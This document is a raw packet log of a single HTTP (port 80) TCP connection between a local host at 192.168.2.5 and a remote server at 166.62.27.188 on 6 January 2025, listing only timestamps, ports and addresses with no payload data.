Jan 6, 2025 07:54:06.333302975 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333313942 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333336115 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333353043 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333431005 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333451033 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333476067 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333507061 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333518982 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333529949 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333563089 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333576918 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333594084 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333605051 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333616018 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333627939 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333642006 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333667994 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333698034 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333709955 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333720922 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333731890 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333741903 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333753109 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333760977 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333781004 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333796978 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333817005 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333828926 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333839893 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333863020 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333888054 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333899021 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333937883 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334008932 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334019899 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334032059 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334042072 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334064960 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334076881 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334076881 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334084988 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334094048 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334106922 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334122896 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334127903 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334135056 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334147930 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334148884 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334167957 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334202051 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334213972 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334249973 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334254026 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334268093 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334279060 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334307909 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334321976 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334335089 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334347010 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334357977 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334369898 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334381104 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334388018 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334398985 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334405899 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334423065 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334440947 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334520102 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334530115 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334543943 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334562063 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334563017 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334573030 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334585905 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334589958 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334613085 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334619045 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334630013 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334636927 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334678888 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334703922 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334716082 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334770918 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334837914 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334850073 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334861040 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334872007 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334882975 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334886074 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334914923 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.334960938 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.334979057 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.335004091 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.335005045 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.335015059 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.335026979 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.335036993 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.335052013 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.335062027 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.335081100 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.335088968 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.338913918 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.423681021 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.423703909 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.423723936 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.423733950 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.423753023 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.423763990 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.423765898 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.423778057 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.423789024 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.423803091 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.423825026 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.423841000 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.423861980 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.423872948 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.423883915 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.423902988 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.423913956 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.423938036 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.423950911 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.423996925 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.423998117 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424010992 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424045086 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424056053 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424093962 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424093962 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424097061 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424109936 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424122095 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424166918 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424187899 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424197912 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424206972 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424217939 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424232960 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424246073 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424257040 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424267054 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424278021 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424269915 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424290895 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424305916 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424307108 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424319029 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424355984 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424395084 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424407005 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424417973 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424427986 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424432039 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424443007 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424457073 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424458981 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424474001 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424484968 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424489975 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424520016 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424572945 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424585104 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424596071 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424606085 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424617052 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424629927 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424643040 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424650908 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424654007 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424665928 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424700022 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424705982 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424712896 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424725056 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424748898 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424839020 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424850941 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.424881935 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.424976110 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425002098 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425040960 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.425174952 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425187111 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425198078 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425209045 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425220013 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.425234079 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.425318003 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425331116 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425375938 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.425400972 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425425053 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425438881 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425451040 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425461054 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425462961 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.425472975 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425479889 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.425486088 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425498009 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425508976 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.425537109 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.425558090 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425570011 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425580978 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425590992 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425601959 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425611973 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425615072 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.425626040 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.425640106 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.425698042 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425709963 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425720930 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.425744057 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.425766945 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.432143927 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.558717012 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.558728933 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.558739901 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.558756113 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.558767080 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.558775902 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.558787107 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.558804035 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.558814049 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.558900118 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.558909893 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.558927059 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.558938980 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.558940887 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.558940887 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.558955908 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.558958054 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.558958054 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.558969021 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.558980942 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.558991909 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559025049 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559075117 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559087038 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559097052 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559107065 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559118032 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559123993 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559143066 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559144020 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559154987 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559165955 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559175968 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559185982 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559190035 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559197903 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559204102 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559231997 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559282064 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559293985 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559303999 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559320927 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559329033 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559331894 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559344053 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559355974 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559357882 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559381008 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559391975 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559433937 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559447050 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559458017 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559473991 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559479952 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559485912 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559513092 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559519053 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559524059 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559535027 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559560061 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559568882 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559602976 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559617996 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559629917 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559638977 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559650898 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559660912 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.559662104 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559672117 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.559689045 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.560038090 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.564968109 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565001965 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565013885 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565031052 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565042019 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565054893 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565079927 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565120935 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565123081 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565146923 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565157890 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565164089 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565171003 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565181971 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565200090 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565227032 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565259933 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565311909 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565323114 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565334082 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565345049 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565356016 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565356970 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565367937 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565371990 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565380096 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565395117 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565398932 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565409899 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565412045 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565423965 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565435886 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565459967 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565479040 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565510988 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565522909 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565538883 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565550089 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565561056 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565561056 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565573931 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565586090 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565593958 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565598011 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565627098 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565645933 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565653086 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565669060 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565680981 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565697908 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.565707922 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.565710068 CET	80	49713	166.62.27.188	192.168.2.5
